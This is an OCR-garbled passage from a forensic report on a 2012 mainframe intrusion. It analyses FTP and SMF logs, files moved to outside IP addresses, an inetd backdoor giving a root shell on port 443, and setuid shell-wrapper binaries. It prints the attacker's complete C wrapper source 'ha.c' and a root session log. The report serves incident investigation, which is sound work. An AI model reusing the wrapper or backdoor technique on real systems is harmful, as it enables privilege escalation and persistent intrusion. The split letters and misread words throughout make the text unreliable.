C S QXD I S P 8  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  

C S QX D I S P 8  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  

C S QX D I S P 8  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  

C S QX D I S P 2  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  

C S QXDI S P 2  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  

C S QX D I S P 4  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 3Mar 1 2  

C S QX D I S P 4  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 3Mar 1 2  

C S QXD I S P 4  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 3Mar 1 2  

C S QX D I S P 8  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  

C S QXDI S P 8  

0 6 : 3 8 : 3 8  DAF 5 6 4 8  

0 6 : 3 9 : 2 2 DAF5 6 4 8  

0 6 : 3 9 : 2 6  DAF 5 6 4 8  

0 6 : 3 9 : 2 7  DAF 5 6 4 8  

0 6 : 3 9 : 4 1 DAF5 6 4 8  

0 6 : 4 0 : 0 7 DAF 5 6 4 8  

0 6 : 4 0 : 1 6  DAF 5 6 4 8  

0 6 : 4 0 : 3 0 DAF 5 6 4 8  

0 6 : 4 0 : 3 2 DAF 5 6 4 8  

0 6 : 4 1 : 2 2 DAF 5 6 4 8  

0 6 : 4 1 : 2 4 DAF5 6 4 8  

0 6 : 4 2 : 0 5 DAF 5 6 4 8  

0 6 : 4 2 : 1 1 DAF 5 6 4 8  

0 6 : 4 2 : 1 3 DAF 5 6 4 8  

0 6 : 4 3 : 1 6 DAF5 6 4 8  

0 6 : 4 3 : 1 8 DAF 5 6 4 8  

0 6 : 4 4 : 0 9 DAF 5 6 4 8  

0 6 : 4 4 : 1 0 DAF 5 6 4 8  

0 6 : 4 4 : 4 7 DAF 5 6 4 8  

0 6 : 4 4 : 5 8 DAF 5 6 4 8  

0 6 : 4 5 : 0 0 DAF5 6 4 8  

T C PF T P 9  

TCPFTP 4 

TCPFT P 8  

T C P FT P 8  

TCPFT P 9  

T C P F T P 6  

T C P FT P 1  

T C P F T P 2  

T C P F T P 3  

T C P FT P 1  

T C P F T P 2  

T C P F T P 7  

T C P F T P 9 

T C P FT P 1  

T C P F T P 4  

T C P F T P 5  

T C P F T P 4  

T C P F T P 4  

T C P F T P 3  

T C P F T P 3  

T C P F T P 3  
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2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  
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UNXCMD . S YS 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  0 6 : 4 5 : 0 5 DAF5 6 4 8  T C P F T P 3  2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

C S QXDI S P 4  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 3Mar 1 2  0 6 : 4 5 : 0 7 DAF5 6 4 8  T C P F T P 4  2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

C S QXDI S P 8  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 3Mar 1 2  0 6 : 4 5 : 0 8 DAF5 6 4 8  T C P FT P 4  2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

C S QX D I S P 2  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 3Mar 1 2  0 6 : 4 5 : 2 2 DAF5 6 4 8  T C P F T P 2  2 0 2 . 1 2 0 . 1 8 9 . 2 2 3  

C S QX D I S P 8  

Figure 4 8  SMF typ 3 0  logs showing the execution o f  CSQXDISP o n  SYS3 

Du q u 

Th i s  fi l e  was seen on  SYS19 .  lt was stored i n  /tmp .  lt was de leted, so we cou l d  not perform a ny 

fi rst h and  i nvest igat ion  d u  ri ng the actua l  i n ci dent. 

Th is  fi l e  i s  saved a s :  

- rwxr - x - - - l BPXDFLTU 03 8 4  7 3 8  Mar 5 1 5 : 4 2 duqu 
Figure 49 Fi le metadata for file " duqu" 

Extracts from sess ion  l ogs obta i ned from the i nvestigative po l ice, in a fi l e  ca l l ed  

"toa nd reas . l og", one  ca n see  the or ig i n of  th i s  fi l e  a ppearance .  The perpetratar m a kes a copy 

of the fi l e  "du ku" to "d uqu"  at that specifi c  date .  

u n ame - a  
O S / 3 9 0  S YS 1 9  2 2 . 0 0  0 3  2 8 1 7  
cp / tmp / du ku / tmp / du qu 
/ tmp / duqu 
1 3 t z  g 3 t  us s 0 m3 O f  d4 t r O O t ! @ # 
e u : O u :  O g :  O 
g O t  r O O t ?  
i d  
u i d= O ( SUPERU S R )  g i d= O ( S TCGROUP ) group s =5 4 8 4 0 0 ( E 4 8 4 )  

pwd 
/ S YS TEM/ tmp 

Figure 50 Extract of session log showing the perpetratar copy the "duku" to the "duqu"  fi le 

At same later stages, the users SPRB I08 a nd  AS I0936 down load th i s  fi l e  to the i p add ress 

46.59 . 5 1 . 181 .  A l l  th i s  ca n be seen in the FTP l og extract be low 

T C P  F T P  S E RVER T S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -
- - - - -

1 3 . 4 5 . 2 6 . 0 0 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt ; S EQ ; S PRB I 0 8 ; I ; S  

; F ; H ; 1 2 . 4 5 . 2 5 ; 1 2 . 4 5 . 2 5 ; 7 3 8 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / t mp / du qu 
T C P_FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c sv : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 6 . 1 6 0 0 0 0 ; ?UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt ; S EQ ; AS I 0 9 3 6 ; I ; S  

; F ; H ; 1 3 . 3 3 . 0 6 ; 1 3 . 3 3 . 0 6 ; 7 3 8 ; S ; ; ; ; FT P D 1 ; sema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ t 
mp / duqu 
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Figure 51 Extracts from the FTP logs showing how the file "duqu" were DOWN LOADED 

Sidan 1 32 av 57 4 

Report 

For i nformat ion on "du ku" see cha pte r "Du ku" on page 104. For i nformat ion on  "kuku" see 

cha pter "Kuku" page 103. 

Tsocmd 

Th is  i s  a REXX p rogra m .  l t  was found  on SV19. l t  is  a tool  that IBM have deve loped, but not 

d istri buted as  pa rt of the z/OS operati ng system .  lt is ava i l a ble  for free from the I BM ma  i n  web 

s ite. 

Th is  progra m, accord i ng to the i nc l uded docu mentatio n, i s  used for execut ing  p rogra ms in the 

TSO/E envi ronment. The re i s  a bu i l t- i n  USS com mand  for this a l ready ca l i ed "tso", but  with th i s  

extra IBM too l  the user is  ab le  to execute TSO comma nds  as  we i l .  Accord i ng  to Logi ca staff 

there is add it io na l  adva ntages to use the TSOCM D  com m a nd,  campared to the TSO com mand  

i n  USS.  

The TSOCM D com mand  was found  in the sa me p l ace a s  the up loaded "hacker too ls" .  l t  i s  not 

evident from the l ogs ( FTP tra nsfe r logs) how th i s  com mand  was up loaded or  tra nsfe rred .  

Accord i ng to  the Logica staff, th i s  command where not p resent i n  the system beforehand .  

l t  i s  evident  from the  com mand  execut ion l ogs (SM F  record type 30  logs) t ha t  t he  pe rpetratar 

has  executed a n u m ber  of REXX scri pts . l t  is  not evident  wh ich REXX scri pt ( m ight it  be tsocmd, 

ku rwa, or a ny othe r  p rogra m )  that m ight have been executed . 

tfy.source.backdoor 

There was a fi l e, with fi l e  s ize 62337, ca l l ed t f  y .  s ou r c e . b a c kdo o r  that was u p loaded to 

SV19. 

TCP _FTP _SERVER_ T _SV19_0201-0309 .csv :2012-03-06; 17 .00 .00;2012-03-06-

17.45.09.390000; ?U N KN OWN;SV19; ;217 . 150. 174.80; 2 1; ; ; STQ R;SEQ; BSN0058;A;S; F; H ; 16 .45 . 

09; 16 .45 .09; 6150;S; ; ; ; FTPD1;sema i nf;46. 59 .51 . 181 ;62337;/SVSTEM/tm p/tfy .sou rce . backdoor 

TCP _FTP _SE RVER_T_SV19_0201-0309 .csv :2012-03-06; 17 .00 .00;2012-03-06-

17 .53 .07 .570000;?U N KNOWN;SY19; ;217 . 150. 174.80;2 1; ; ; 0 E L E;SEQ; BSN0058;A;S; F; H ; 16 .53 .0  

7; 16 .53 .07;0;S; ; ; ; FTPD1;sema i nf;46. 59 .51 . 181;62337;/SVSTEM/tm p/tfy .sou rce. backdoor 

Figure 52 Excerpt of  FTP logs for up load of  tfy.source.backdoor file 

As ca n be seen in the previous excerpt from the l ogs, the fi l e  i s  u p loaded at 17 .45 .09 on the 6th 

of ma rch 2012 by the user BSN0058 to the SV19 partit ion  from the l P  add ress 46 .59 . 51 . 181 .  

Same m i nutes l a te r, t he  sa me attacker de letes t he  fi l e .  

F rom the  l ogs we ca n a l so co nc lude that  the fi l e  is  samewhat med i um  sma l l  i n  s i ze  

(62337bytes ) .  

We have no  traces on what th i s  backdoor i s  or where it  m ight have been used . 
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The operations of the i netd network super  serve r that i s  a m u lt ip lexer and  contro i i i  ng p rocess 

for a n umber of network services, were mod if ied to a l so i nc l ude a backdoor con nection to a 

specific network port (443/TCP ) .  An i ncom i ng connection  to th i s  TCP/I P network port wou l d  

render t h e  atta cker with a n  i n stant s he l l  access, a nd  that s he l l  wou l d  r u n  with t h e  SUPERUSER  

pr iv i l eges ( roat) .  

Cha nges where made to the configu rat ion fi l e  /etc/ inetd .conf on SY19.  

### 

# SCCS I D( @ (#) i netd .conf 1 . 24. 1 . 6 A IX) /* Mod ified : 1 9 :38:52 9/23/91 */ 

# I nternet server conf iguration database # # (C) COPYR I G HT I nternational Business Machi nes 

Corp. 1 985, 1 989 

# Al l  Rights Reserved # Licensed Materials - Property of I BM 

# 

# US Government Users Restr icted Rights - Use, dup l icat ion or 

# d isciasu re restricted by G SA ADP Schedu le  Contract with I BM Corp. 

# 

# /etc/i netd.conf 

# 

# I nternet server conf iguration database 

# 

# Services can be added and deleted by delet ing or insert ing a 

# comment character ( ie .  #) at the beg inn ing of a I i ne 

# #====================================================================== 

# service l socket l protocol l wait/ l user l server l server program # name l type l l nowaitl 

l program l arguments 

#====================================================================== 

# 

she l l  stream tcp nowait SUPERUSR /usr/sbi n/rshd rshd 

teinet stream tcp nowait S U PERUSR /usr/sbi n/ote lnetd ote lnetd - 1  -c 3600 -m 
log in  stream tcp nowait SUPERUSR /usr/sbin/rlogind r log i nd -m 

exec stream tcp nowait S U PERUSR /usr/sbin/rexecd rexecd 

#fi nger stream tcp nowait OMVS /usr/sbin/fi ngerd fi ngerd 

# Let i netd l i sten for #i ncomi ng smtp(sendmai l )  connections. We do 

# not need to run sendmai l  as a daemon (-bd) if this I i ne is  uncommented . 

#smtp stream tcp nowait OMVS 

#tal k dgram udp wait OMVS 

/usr/l i b/sendmai l  sendmai l  -bn 

/usr/sbi n/tal kd talkd # 

echo stream tcp nowait S U PERUSR i nterna! 

d iscard stream tcp nowait SUPERUSR i nterna! 

chargen stream tcp nowait SUPERUSR interna! 

dayt ime stream tcp nowait S U PERUSR i nterna! 
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t ime stream tcp nowait SUPERUSR i nterna! 
echo dgram udp wait SUPERUSR i nterna! 
d iscard dgram udp wait SUPERUSR i nterna! 

chargen dgram udp wait SUPERUSR i nterna! 
daytime dgram udp wait SUPERUSR i nterna! 
t ime dgram udp wait SUPERUSR i nterna! 

Figure 53 Content of fil e /etc/inetd.conf from SY19 after the backdoor where planted 

( S YS 1 9  : WMBANJO ) / S Y S TEM/ e t c : > l s  - a l  i ne t *  
- r wx r - x r - x  l S SHOO OMVS GRP 1 9 4 1  Ma r 1 7 0 1 : 0 0 i n e t d . c on f 
- rwx r - x r - x  l S SHOO OMVS GRP 1 8 9 8 Ap r 2 0  2 0 0 0  i n e td . con f . O 

- rwx r - x r - x  l S SHOO 03 8 4  1 9 4 0  Ma r 1 7  0 0 : 5 9 i n e t d . c on f . o l d  

- rw- r - - r - - l S SHOO OMVS GRP l O  Mar 2 9  0 9 : 4 0 i ne t d . p i d  

( S Y S 1 9  : WMBANJO ) / S Y S TEM/ e t c : >l s  - e l  i n e t d . c o n f *  

- r wx r - x r - x  l S SHOO OMVS GRP 1 9 4 1  Mar 1 7 0 1 : 0 0 i n e t d . c o n f  

- r wx r - x r - x  l S SHOO OMVS GRP 1 8 9 8  Mar l O  1 7 : 1 0 i n e t d . c on f . O 

- r wx r - x r - x  l S SHOO 03 8 4  1 9 4 0  Mar 1 7  0 0 : 5 9 i n e t d . c o n f . o l d  

Figure 54 Fi l  e listing showing different versions of the inetd .conf fi le 
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The dates on  the fi l es, as  showed i n  th i s  post mortem ana lys i s, i n  the fi l e l i st i ng  a bove show 

the dates when the system adm i n i strator restared or ed ited the fi l e  to remave the backdoor .  

The fi rewa l l  l ogs show that there have been n u m berous accesses to TCP port 443, in genera l .  l t  

a l so seemed that the other  hacker too l "d ps" where ru n ned on  port 443 occationa ly .  

Th i s  backdoor has been l ocated and d i sab led  by Logica ma i nfra me staff. 

For i nformat ion on other  backdoors, see : 

• Added pub l i c  ssh keys157 

• Stea l i ng p rivate SSH keys 160 

• Tfy. source . backdoor page 147 

• vc242 page 154Setu id  p rogra ms  

Setu i d  p rogra ms ca n be  cons idered a nother  type o f  backdoors. They wi l l  tem porar i ly  gra nt the 

user executi ng the p rogra m the "privi l eges" and a utho rizations  ( nate : not the RACF 

a uthorizat ions,  but USS a uthori zat ions )  wh i l e  ru n n i ng the p rogra m .  

On SYS3 w e  have found  a n u m ber  o f  setu id  p rogra ms i nsta l l ed  i n  /tm p/. ,  
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One fi le  ca ptu red from the SYS3 partit ion  was a sma l l  (8 I i nes, 243 bytes )  sou rce code fi l e  

written i n  the p rogra m m i ng l a nguage C .  Th is  i s  a sma l l  wra pper p rogram that  wraps  the  

com mand  I i n e  i nterpreter. 

j -rw-rw-rw- l WMCMBAl D384 243 Ma r  20 09 :31  ha . c  

Figure 5 5  file metadata from file " ha.c" 

The pu rpose of the p rogra m i s :  

l .  To  cha nge the group  i d  a nd  the use r  i d  o f  the  person ru n n i ng the  p rogra m to  the  I D' s 

supp l ied to the p rogram on the com mand  I i n e .  

2 .  Execute a new vers ion o f  t he  USS  command  i nte rprete r /b i n/sh, executi ng  with the 

a uthori zat ion  ( permiss ions )  of the user and grou p .  

After step 2 the u se r  a re ab le  to  execute a ny  USS  l u n i x  command with t he  p riv i l eges o f  t h i s  

new a uthorizat ion .  

To  have a ny u se  o f  a progra m l i ke th i s, u nder  norma l cond it ions, t he  com p i l ed  p rogra m m ust 

be i n sta l l ed  with speci a l  perm iss ions, so ca l l ed setu i d  root. Th i s  wou l d  make the wra pper 

execute with the root user's perm iss ions, thus  becom i ng the root user s i nce it i n he rited the 

root user a uthorization .  

The  need  for a wra pper  program i s  to  wra p  the /b i n/sh p rogra m, s i nce that  type of  com m a nd 

i nterpreters norma l ly i s  program med to ignore the setu i d  f lag set on the fi le ,  as  a p reea ut ian 

aga i n st ma l i c ious usage. 

#include <std io .h>  
#inc lude <std l i b . h>  
#inc lude <un istd . h> 
#inc lude <string .h>  
int  ma in( int  a rge,  char *argv[] )  { if (argc<3)exit( 1 ) ; 
setg id (ato i (argv[2]) ) ;  setu id (ato i (argv[ 1 ] )) ;  setg id (ato i (argv[2] ) ) ;  
execl("/b in/sh" , "sh" , N U LL) ;  retu rn O ; 
} 

Figure 56 C source code " ha.c"  captured from the SYS3 partition 

Th is  p rogra m is  be l ieved to be the sou rce code bas is  for ha ndfu l  of the setu i d  p rogra ms 

i n sta l led on the SYS3 partit ion  i n  the /tm p/. ,  d i rectory. 

Th is  p rogra m is be l ieved to be written from scratch or pasted i nto the term i n a l  wi ndow, s i nce 

we do not fi nd  a ny evidence of it be ing up l oaded with FTP . 

l t  shou ld  a l so be noted that th i s  p rogra m d iffe res from the b i n a r ies with the sa me  pu rpose that  

we have found  on  the system .  

As d 

Th is  fi l e was found  on SYS3. 

Th is  fi le  i s  setu id  to the user DAF 1473 a n d  setg id  to the group  DSN DB2A. 
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The b i na ry a n a lys i s  of the fi l e g ive the fact that on  l y  a short l i st of system ca I l s  a nd  l i bra ry ca I l s  

exists i ns ide t he  actua l  p rogra m b i n a ry. These ca  I l s  a re I i sted i n  t he  figu re here .  

Funct ions ca l led from ma i n ( ) :  

exit( )  

a to i ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  

getg id ( )  

pr i ntf( ) 

execve ( )  

perror( )  

Figure 57 System and l ibrary ca l ls performed from the main( )  function in  the uploaded program "asd" 

From the types of ca I l s, the a ctua l  type of fi le  ( i t  is setu i d  a nd  setg id  to aspecifi c user a nd  

group )  a nd  t he  actua l  context i n  wh i c h  i s  was  p l aced o nto t he  system we  d raw t he  con clus ion  

that  th i s  i s  a wra pper p rogra m to  actu a l ly l a u nch a command  i nte rprete r - a so ca  l i ed she  I l 

that is ru n ned with the permiss ions a s  the user who it i s  setu id  to. 

From the SMF  su btype 30 l og, the command  execution  l og d i sp l ay that the com m a n d  llbe" 

have been executed on SYS3 .  

l 20Mar12 13 : 13  N US TCPFTP6 93 . 186. 170.54 asd 

Figure 58 Log entry showin t h e  execution b y  t h e  NUS user o f  t h e  uploaded program "asd" 

The N US user, l ogged in from the sou rce l P  add ress 93 . 186. 170. 54 (93 . 186. 170 .54) , have 

executed th i s  p rogra m once at 13 : 13 on the 20th of m a rch 2012 .  

23Ma r12 06 :22  DAF5648 TCPFTP1 202 . 120. 189. 223 asd 

23Ma r12 06 :27 DAF5648 TCPFTP4 202 . 120. 189 . 223 asd 

23Ma r12 06 :28 DAF5648 TCPFTP6 202 . 120. 189 .223 asd 

23Ma r12 06 :39 DAF5648 TCPFTP 1 202 . 120. 189.223 asd 

23Ma r12 06 :40 DAF5648 TCPFTP3 202 . 120. 189 .223 asd 

Figure 59 Log entry showin t h e  execution b y  t h e  DAF5648 user o f  t h e  uploaded program "asd" 
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The DAF5648 user, l ogged i n  from the sou rce l P  address 202 . 120. 189 .223 (202 . 120. 189 .223 ) , 

have executed th i s  progra m m u lt i p l e  ti mes between 06:22 and  06:40 o n  the 23rd of ma rch 

2012.  

The M DS checksum 37ece300a88ca0c102bd becce184d5f4 i s  the sa me  as  for be, e rr, qwe, 

d044, daf1367, daf1473, e90opc, v077229 

Be 

Th i s  i s  a comp i led b i n a ry that exists on SYS3 with the fo l l owi ng fi le propert ies 

- rw s r - s r - x l WMCMBAl D 3 8 4  7 7 8 2 4  Ma r 2 0  0 9 : 3 5 b e  

Figure 60 Fi le metadata of fi le " be" 

lt s hou l d  be noted that the fi l e  owner  is u i d  O, wh ich m ight be ma pped onto one of severa l 

users with u i d  O. 

From the FTP u p load l og, we ca n match the u p load fi l e  s ize a nd  t ime with the fi l e  s i ze a nd  t i me 

sta m ps of  the stored fi l e .  l t  should be noted t h a t  t h e  first two timesta mps in  each log record 

a re p rovided in  CET whi le the last two t imesta mps a re provided in  G MT. 

2012-03-20;09.00.00;2012-03-20-

09 .35 .08.250000; ?U N KN OWN;SYS3; ; 192 . 16 . 143 . 2; 2 1; ; ;STOR;SEQ; N US; I ;S; F; H ;08 .35 .08;0 

8 .35 .08;77824;S; ; ; ; FTPD 1; DAFAS;93 . 186. 170.54;27722;/tm p/.,/be 

Figure 61 Excerpt of FTP log fi le to show upload of fi le " be" to SYS3 

lt s hou l d  be noted that the fi l e  is u p loaded i n  b i n a ry mode (a . k . a  i m age), a nd  thus  not 

tra nsformed between ASC I I  and EBCD IC. 

The b i n a ry a na lys i s  of the fi l e  g ive the fact that on  ly a short l i st of system ca i l s a nd  l i b ra ry ca I l s  

exists i n s i d e  t he  actua l  p rogra m b i n a ry. These ca l l s  a re I i sted i n  t h e  figu re here .  

F unct ions ca l l ed from ma i n ( ) :  

exit( ) 

ato i ( )  

setgid O 

setu i d ( )  

getu i d ( )  

getgi d ( j  

pr intf( ) 

execve ( )  

perror( )  

Figure 62 System and l ibra ry ca  I ls  performed from the ma in()  function in  the uploaded program " be" 
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Sidan 1 38 av 57 4 

Report 

From the types of ca I l s, the a ctua l  type of fi l e ( i t  is setu id  a nd  setg id  to aspecif ic user and  

group )  and  the  a ctua l context i n  wh ich i s  was  p laced onto the system we d raw the conc lus ion  

that th i s  i s  a wrapper  progra m to actu a l ly l a u nch a command  i nterpreter - a so ca l l ed she l i 

that i s  run ned with the permiss ions as  the user who it i s  setu id  to.  

From the SMF su btype 30 log, the command  execution  l og d isp l ay  that the com mand  11be" 

have been executed on SYS3.  

20Ma r12 10 :01  N U S  TCPFTP7 93 . 186. 170. 54 be 

20Ma r12 10 :01 N U S  TCPFTP9 93 . 186. 170. 54 be 

20Ma r12 10 :02 N US TCPFTP3 93 . 186. 170.54 be 

20Mar12 10:02 N U S  TCPFTP6 93 . 186. 170. 54 be 

20Mar12 10 :02 N U S  TCPFTP7 93 . 186. 170.54 be 

20Ma r12 10 :15  N US TCPFTP6 93 . 186. 170.54 be 

20Mar12 10 : 1 6  N U S  TCPFTP3 93 . 186. 170.54 be 

20Mar12 10 : 17 N US TCPFTP7 93 . 186. 170.54 be 

20Ma r12 10 :28 N U S  TCPFTP6 93 . 186. 170.54 be 

20Mar12 10 :59 N U S  TCPFTP8 93 . 186. 170.54 be 

20Mar12 13 :07 N US TCPFTP3 93 . 186. 170.54 be 

20Ma r12 13 :07 N U S  TCPFTP6 93 . 186. 170.54 be 

20Ma r12 13 :07 N U S  TCP FTP8 93 . 186. 170.54 be 

20Mar12  13 :08 N U S  TCPFTP9 93 . 186. 170.54 be 

20Ma r12 13 : 1 5  N U S  TCPFTP2 93 . 186. 170.54 be 

20Ma r12 13 :27  N U S  TCP FTP3 93 . 186. 170.54 be 

20Ma r12 13 :27  N U S  TCPFTP3 93 . 186. 170.54 be 

Figure 63 Log entry showin the execution by the NUS user of the u ploaded program 11be" 

The N U S  user, l ogged in from the sou rce l P  add ress 93 . 186. 170.54 (93 . 186. 170. 54) , have 

executed th i s  program m u lt i p l e  ti mes between 10:01 a n d  13 :27  on the 20th of m a rch 2012 .  

23Ma r12 05 :54 DAF5648 TCPFTP7 202 . 120. 189 .223 be 

23Ma r12 05 :54 DAF5648 TCPFTP9 202 . 120. 189 .223 be 

23Mar12  05 :59  DAF5648 TCPFTP4 202 . 120. 189 . 223 be 

23Ma r12 06 :02 DAF5648 TCPFTP6 202 . 120. 189 .223 be 

23Ma r12 06 :04 DAF5648 TCPFTP7 202. 120. 189 .223 be 

23Mar12  06 : 18 DAF5648 TCPFTP7 202 . 120. 189 .223 be 

23Mar12 06 : 22  DAF5648 TCPFTP8 202 . 120. 189 .223 be 

23Mar12 06 :34 DAF5648 TCP FTP6 202. 120. 189 .223 be 

Figure 6 4  Log entry showin t h e  execution b y  t h e  DAFS648 user o f  t h e  uploaded program "be" 
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Report 

The DAF5648 user, l ogged i n  from the sou rce l P  address 202 . 120. 189 .223 (202. 120. 189 .223) , 

have executed th i s  progra m m u lt i p le  t i mes between 05 :54 and  06 : 34 on  the 23rd of march 

2012 .  

The M D5 checksum 37ece300a88ca0c102bd becce184d5f4 i s  the same as  for asd,  err, qwe, 

d044, daf1367, daf1473, e90opc, v077229 

d044 

Th is  was found  on SVS3 

Th is  fi l e  is setu i d  to the user DAF 1473 and  setg id  to the group  E077. 

The b i n a ry ana lys is of the fi l e give the fact that on ly a s hort l i st of system ca I l s  a n d  l i b ra ry ca I l s  

exi sts i ns ide t he  actua l  progra m b i n a ry. These ca l l s  a re I i sted i n  t he  figu re here .  

Fu nct ions  ca l l ed  from ma i n ( ) :  

exit( ) 

a to i ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  

getg id ( )  

pr i ntf( ) 

execve ( )  

perror( )  

Figure 65 System and l ibrary ca l ls  performed from the main( )  function in  the uploaded program "d044" 

From the types of ca I l s, the a ctua l type of fi l e ( i t  is setu id  and  setg id  to aspecifi c  user a nd  

group )  a nd  t he  a ctua l context i n  wh ich i s  was  p l aced o nto t he  system we  d raw t he  conc lus ion  

that  th i s  i s  a wra pper p rogra m to actu a l ly l a u nch a co m m a nd i nte rprete r - a so ca  l i ed she l i 

that i s  run ned with the perm iss ions as  the user who it i s  setu id  to. 

From the SMF su btype 30 l og, the com mand  execution  l og d i sp l ay that the command  d044 

have been executed on SYS3.  

23Ma r12 06:06 DAF5648 TCPFTP2 202 . 120. 189.223 d044 

23Ma r12 06:06 DAF5648 TCPFTP4 202 . 120. 189 . 223 d044 

23Ma r12 06:07 DAF5648 TCPFTP5 202 . 120. 189 . 223 d044 

23Mar12 06 : 1 2  DAF5648 TCPFTP2 202 . 120. 189 .223 d044 

23Ma r12 06 : 13 DAF5648 TCPFTP4 202 . 120. 189 . 223 d044 

23Mar12 06 : 13  DAF5648 TCPFTP4 202 . 120. 189 .223 d044 

23Ma r12 06 : 14 DAF5648 TCPFTP8 202 . 120. 189 . 223 d044 

23Ma r12 06 : 15  DAF5648 TCPFTP9 202 . 120. 189.223 d044 
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23Mar12 06 : 15  DAF5648 TCPFTP1 202 . 120. 189 .223 d044 

23Ma r12 06 : 19  DAF5648 TCPFTP2 202 . 120. 189 .223 d044 

Figure 66 Log entry showin the execution of the uploaded program "d044" 

Sidan 1 40 av 574 

Report 

The DAF5648 user, l ogged i n  from the sou rce l P  add ress 202 . 120. 189 .223 (202. 120. 189 .223) , 

have executed th i s  p rogra m m u lti p l e  ti mes between 06:06 and  06 : 19 on  the 20th of ma rch 

2012 .  

The M D5 checksum 37ece300a88ca0c102bd becce184d5f4 is  the sa me as for asd, be, err, qwe, 

daf1367, daf1473, e90opc, v077229 

Err 

Th i s  fi l e  was found  on  SYS3.  

Th is  fi l e  i s  setu i d  to the user  WMBEBERR  and setg id  to the group  E077. 

The b i n a ry a na lys i s  of the fi l e g ive the fact that on  ly  a short l i st of system ca I ls and l i bra ry ca I l s  

exists i ns ide t he  actua l  p rogra m b i n a ry. These ca l l s  a re I i sted i n  t he  figu re here .  

Funct ions ca l led from ma i n ( ) :  

exit( )  

ato i ( )  

setg id ( )  

setu i d ( )  

getu i d ( )  

getg id ( )  

pr i ntf( ) 

execve( )  

pe rror ( )  

Figure 67 System and l ibrary ca l ls  performed from t h e  main()  function in  t h e  uploaded program "err" 

From the types of ca I l s, the a ctua l  type of fi l e ( i t  i s  setu id  a nd  setg id  to a specifi c user a nd  

grou p )  a nd  t he  a ctua l  context i n  wh i c h  i s  was  p l aced onto t he  system we  d raw t he  conc l u s ion  

that  th i s  i s  a wra pper p rogra m to  actua l ly l a u nch a co m m a nd i nte rpreter - a so ca  l i ed she  l l 

that i s  run ned with the permiss ions  as  the user  who it i s  setu id  to. 

From the SMF  su btype 30 l og, the command execution  l og d i sp l ay t hat  the com m a n d  err  has  

been  executed on SYS3.  

20Mar12 09 :35  N US TCP FTP7 93 . 186. 170.54 e rr 

20Mar12 09 :35  N US TCP FTP2 93 . 186. 170.54 err 
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Report 

Figure 68 Log entry showin the execution of the uploaded program "err" 

The N US user, logged i n  from the sou rce lP address 93 . 186. 170. 54 (93 . 186. 170. 54) , has  

executed th is  progra m twice ti mes at 09 :35 on  the 20th of ma rch 2012 .  

The M D5 checksum 37ece300a88ca0c102bd becce184d5f4 is  the sa me  as  for asd, be, d044, 

qwe, daf1367, daf1473, e90opc, v077229 

Q we 

Th i s  fi l e  was found  on SYS3. 

One of the atta ckers too l s  where ca l l ed "qwe". 

l - rwxr-x--- 1 DAF1473 0384 77824 Ma r  20 13 : 15 qwe 

Figure 69 Fi le meta data for the "qwe" setuid program 

The b i n a ry ana lys is of the fi l e  g ive the fact that  on ly a short l i st of system ca I l s a nd  l i b ra ry ca I l s  

exists i ns ide t he  actua l  p rogra m b i na ry. These ca l l s  a re I i sted i n  t he  figu re here .  

Funct ions ca l led from ma i n ( ) :  

exit( )  

ato i ( )  

setgid O 

setu i d ( )  

getu i d ( )  

getgi d ( j  

pr i ntf( ) 

execve ( )  

perror() 

